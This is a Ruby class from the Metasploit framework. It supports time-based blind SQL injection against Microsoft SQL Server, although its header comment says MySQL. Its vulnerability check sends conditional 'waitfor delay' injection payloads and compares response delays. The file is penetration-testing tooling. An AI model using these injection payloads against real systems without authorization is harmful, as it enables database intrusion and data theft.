#
#   Time-Based Blind SQL injection support for MySQL
#
class Msf::Exploit::SQLi::Mssqli::TimeBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
  include ::Msf::Exploit::SQLi::TimeBasedBlindMixin

  #
  # This method checks if the target is vulnerable to Blind time-based injection by checking if
  # the target sleeps only when a given condition is true.
  #
  def test_vulnerable
    # run_sql and check if output is what's expected, or just check for delays?
    out_true = blind_request("if(1=1) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
    out_false = blind_request("if(1=2) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
    out_true && !out_false
  end
end
